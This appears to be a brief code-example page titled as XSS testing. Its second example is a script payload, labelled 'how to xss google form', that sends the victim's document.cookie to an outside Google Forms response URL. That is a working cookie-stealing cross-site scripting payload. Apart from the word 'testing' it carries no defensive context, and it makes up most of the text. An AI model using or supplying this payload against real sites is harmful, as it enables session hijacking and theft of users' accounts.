XSS vulnerability testing code example

Example 1: xss commands

<title>Example document: XSS Doc</title>

Example 2: how to xss google form

<script>
	var i = new Image();
	i.src = "https://docs.google.com/forms/d/e/1FAIp...snip...CFPoQg/formResponse?entry.1928374650=" + escape(document.cookie);
</script>